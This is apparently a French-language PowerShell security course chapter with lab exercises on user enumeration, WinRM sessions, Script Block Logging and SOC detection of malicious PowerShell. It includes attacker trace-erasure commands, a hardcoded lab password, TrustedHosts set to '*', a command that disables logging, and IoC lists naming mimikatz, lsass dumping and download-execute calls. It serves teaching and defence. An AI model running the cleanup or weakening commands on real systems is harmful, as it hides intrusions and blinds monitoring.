# Analyser l'historique de TOUS les utilisateurs du système $historiqueFiles = Get-ChildItem ` "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" ` -ErrorAction SilentlyContinue foreach ($file in $historiqueFiles) { $username = $file.FullName.Split("\")[2] # Extraire le nom d'utilisateur du chemin $contenu = Get-Content $file.FullName -ErrorAction SilentlyContinue Write-Host "`n=== Historique de $username ===" -ForegroundColor Cyan # Pattern de détection - IoC offensifs communs $suspects = $contenu | Where-Object { $_ -match "mimikatz|sekurlsa|Invoke-Expression|IEX|DownloadString|FromBase64|VirtualAlloc|bypass|AMSI|credential|dump|net user.*\/add|reg save|shadow|lsass" } if ($suspects) { Write-Host "[!] Commandes suspectes détectées :" -ForegroundColor Red $suspects | ForEach-Object { Write-Host " >> $_" -ForegroundColor Yellow } } else { Write-Host "Aucune commande suspecte." -ForegroundColor Green } }
Nettoyage des traces - côté offensif
Rappel - Lab uniquement

Ces techniques de nettoyage sont présentées pour comprendre ce que font les attaquants - et donc savoir ce qu'il faut surveiller. En red team professionnel, le nettoyage des traces est systématique en fin d'opération.

Effacement des traces PowerShell POWERSHELL
# Effacer le fichier d'historique PSReadLine Remove-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force # Vider l'historique de la session en cours Clear-History # Désactiver la sauvegarde pour CETTE session (ne persiste pas au prochain lancement) Set-PSReadLineOption -HistorySaveStyle SaveNothing # ⚠ Le Script Block Logging (Event 4104) n'est PAS effacé par ces commandes # Les événements dans Microsoft-Windows-PowerShell/Operational restent intacts # → C'est pourquoi activer le SBL est si important côté défensif
TP 1

Pipeline & Filtrage d'Utilisateurs

TP 02-A Construire une requête d'analyse utilisateurs multicritère INTERMÉDIAIRE
Objectifs
  1. Maîtriser le pipeline PowerShell avec filtrage Where-Object
  2. Créer des colonnes calculées avec Select-Object
  3. Construire un rapport utilisateurs enrichi avec les groupes d'appartenance
Pipeline progressif - filtrage et enrichissement POWERSHELL
# Étape 1 : Récupérer tous les utilisateurs locaux Get-LocalUser # Étape 2 : Filtrer les actifs seulement Get-LocalUser | Where-Object {$_.Enabled -eq $true} # Étape 3 : Sélectionner les propriétés utiles + colonnes calculées # Extraire le RID (dernier segment du SID) et détecter les comptes built-in (RID < 1000) Get-LocalUser | Where-Object {$_.Enabled -eq $true} | Select-Object Name, SID, @{N="RID"; E={$_.SID.Value.Split("-")[-1]}}, @{N="IsBuiltin"; E={[int]$_.SID.Value.Split("-")[-1] -lt 1000}}, LastLogon, PasswordNeverExpires
Rapport utilisateurs enrichi - groupes + analyse POWERSHELL
Get-LocalUser | Where-Object {$_.Enabled -eq $true} | ForEach-Object { $user = $_ # Récupérer les groupes de cet utilisateur $groupes = (Get-LocalGroup | Where-Object { (Get-LocalGroupMember -Group $_.Name -EA SilentlyContinue).Name ` -contains "$env:COMPUTERNAME\$($user.Name)" }).Name -join ", " [PSCustomObject]@{ Nom = $user.Name SID = $user.SID.Value RID = $user.SID.Value.Split("-")[-1] Builtin = ([int]$user.SID.Value.Split("-")[-1] -lt 1000) Groupes = $groupes DerniereConnexion = if($user.LastLogon){"$($user.LastLogon:yyyy-MM-dd HH:mm)"}else{"Jamais"} } } | Format-Table -AutoSize
TP 2

Session WinRM avec restricteduser

TP 02-B Établir une connexion distante WinRM, explorer la session, observer les traces INTERMÉDIAIRE
Objectifs
  1. Configurer WinRM sur la machine cible pour autoriser restricteduser
  2. Créer un PSCredential et établir une session persistante
  3. Exécuter des commandes à distance et observer le contexte de la session
  4. Identifier les Event IDs générés par la connexion WinRM
Machine cible - configuration WinRM + restricteduser POWERSHELL
# Recréer restricteduser si nécessaire $pwd = ConvertTo-SecureString "Restricted@2024!" -AsPlainText -Force New-LocalUser -Name "restricteduser" -Password $pwd -PasswordNeverExpires $true -EA SilentlyContinue # Ajouter au groupe Remote Management Users (WinRM sans droits admin) Add-LocalGroupMember -Group "Remote Management Users" -Member "restricteduser" -EA SilentlyContinue # Activer WinRM Enable-PSRemoting -Force Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force
Machine attaquante - PSSession + exploration POWERSHELL
# Construire le PSCredential $secPwd = ConvertTo-SecureString "Restricted@2024!" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("restricteduser", $secPwd) # Test de connectivité avant d'ouvrir une session Test-WSMan -ComputerName localhost -Credential $cred # Ouvrir une session persistante $session = New-PSSession -ComputerName localhost -Credential $cred # Explorer le contexte de la session distante Invoke-Command -Session $session -ScriptBlock { Write-Host "=== Contexte de la session ===" -ForegroundColor Cyan Write-Host "Utilisateur : $(whoami)" Write-Host "Machine : $env:COMPUTERNAME" Write-Host "`n=== Processus hôte ===" -ForegroundColor Cyan Get-Process -Id $PID | Select-Object Name, Id, SessionId # → Doit afficher wsmprovhost.exe - le host de session WinRM } # Fermeture propre Remove-PSSession -Session $session
Analyse des Event IDs générés par WinRM POWERSHELL
# Chercher la connexion WinRM dans les logs Security Get-WinEvent -FilterHashtable @{ LogName = 'Security' Id = 4624 # Logon réussi - Type 3 = réseau StartTime = (Get-Date).AddMinutes(-5) } | Where-Object {$_.Message -match "restricteduser"} | Select-Object TimeCreated, Message | Format-List # Dans Sysmon (si configuré) : chercher wsmprovhost.exe Get-WinEvent -FilterHashtable @{ LogName = 'Microsoft-Windows-Sysmon/Operational' Id = 1 # Création de processus StartTime = (Get-Date).AddMinutes(-5) } | Where-Object {$_.Message -match "wsmprovhost"} | Select-Object TimeCreated, Message | Format-List
TP 3

Script Block Logging & Capture Event ID 4104

TP 02-C Activer le SBL, simuler une commande suspecte, implémenter une règle de détection AVANCÉ
Objectifs
  1. Activer le Script Block Logging via le registre
  2. Simuler une commande encodée en Base64 (technique attaquant)
  3. Observer l'Event 4104 généré - comprendre sa structure XML
  4. Implémenter une règle de détection SOC basée sur des IoC PowerShell
Script Block Logging - activation + simulation Base64 POWERSHELL
# ── ÉTAPE 1 : Activer le Script Block Logging ───────────────────── $path = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" if (-not (Test-Path $path)) { New-Item -Path $path -Force | Out-Null } Set-ItemProperty -Path $path -Name "EnableScriptBlockLogging" -Value 1 Write-Host "Script Block Logging activé" -ForegroundColor Green # ── ÉTAPE 2 : Simuler une commande encodée en Base64 ────────────── # Ce que fait un attaquant pour masquer ses commandes $commande = "Get-LocalUser | Select-Object Name, SID" $bytes = [System.Text.Encoding]::Unicode.GetBytes($commande) $encoded = [Convert]::ToBase64String($bytes) Write-Host "Commande encodée : $encoded" # Exécution avec -EncodedCommand (technique standard d'obfuscation) powershell.exe -EncodedCommand $encoded # ── ÉTAPE 3 : Capturer l'Event 4104 généré ──────────────────────── Start-Sleep -Seconds 2 # Laisser le temps à l'event de s'écrire $events = Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object {$_.Id -eq 4104} | Select-Object -First 5 foreach ($evt in $events) { Write-Host "`n[Event 4104 - $($evt.TimeCreated)]" -ForegroundColor Yellow $xml = [xml]$evt.ToXml() $scriptBlock = ($xml.Event.EventData.Data | Where-Object {$_.Name -eq "ScriptBlockText"}).'#text' Write-Host "ScriptBlock déobfusqué : $scriptBlock" -ForegroundColor Cyan # → La commande apparaît DÉCODÉE ici, même si encodée Base64 à l'exécution }
Détection IOC dans les Event 4104 - règle SOC POWERSHELL
Write-Host "`n=== CHASSE AUX COMMANDES SUSPECTES ===" -ForegroundColor Red # Liste des IoC PowerShell à détecter $ioc = @( "IEX", "Invoke-Expression", "DownloadString", "FromBase64String", "VirtualAlloc", "CreateThread", "WriteProcessMemory", "mimikatz", "sekurlsa", "EncodedCommand", "bypass", "AMSI", "lsass", "dump", "Assembly::Load", "Reflection" ) Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object {$_.Id -eq 4104} | ForEach-Object { $xml = [xml]$_.ToXml() $text = ($xml.Event.EventData.Data | Where-Object {$_.Name -eq "ScriptBlockText"}).'#text' $detected = $ioc | Where-Object { $text -match $_ } if ($detected) { [PSCustomObject]@{ Heure = $_.TimeCreated EventID = $_.Id IOC = $detected -join ", " Extrait = $text.Substring(0, [Math]::Min(120, $text.Length)) } } } | Format-Table -AutoSize
Désactiver le SBL après l'exercice (lab) POWERSHELL
# Désactiver le Script Block Logging après l'exercice (si lab uniquement) # En production, on ne désactive JAMAIS le SBL $path = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" Set-ItemProperty -Path $path -Name "EnableScriptBlockLogging" -Value 0

Résumé - Points clés à retenir

Architecture
Fondamentaux

PowerShell = .NET → Win32 API → tout est possible sans binaire externe. Le pipeline transmet des objets typés (pas du texte) - c'est sa force et ce qui le rend plus puissant que bash pour Windows.

Pour l'Offensif
Techniques clés

IEX + Base64 + Assembly::Load() = techniques fileless. Invoke-Command = mouvement latéral natif. $cred.GetNetworkCredential().Password = extraction credentials depuis la mémoire.

Pour le Défensif
Priorités de détection

Activer 4104 (Script Block Logging) en priorité - c'est la source de détection la plus précieuse. Superviser dans le SIEM : IEX, EncodedCommand, DownloadString, FromBase64, VirtualAlloc, Assembly::Load. L'historique PSReadLine est une source forensics de premier ordre. WinRM laisse des 4624 (type 3) + création de wsmprovhost.exe via Sysmon EID 1.

  • Expliquer la différence fondamentale entre PowerShell et cmd.exe - objets vs texte
  • Utiliser Get-Member pour explorer un objet inconnu sans documentation
  • Construire un pipeline avec Where-Object, Select-Object, et propriétés calculées
  • Créer et invoquer un ScriptBlock - localement et via Invoke-Command
  • Créer un PSCredential sécurisé et l'utiliser pour une connexion WinRM
  • Extraire le mot de passe en clair depuis un PSCredential (GetNetworkCredential())
  • Déclarer une signature P/Invoke Win32 avec Add-Type et l'appeler
  • Activer le Script Block Logging et interroger les Event ID 4104
  • Décoder une commande PowerShell encodée en Base64
  • Écrire une règle de détection SOC basée sur les IoC PowerShell courants
  • Localiser et analyser l'historique PSReadLine pour la forensics post-incident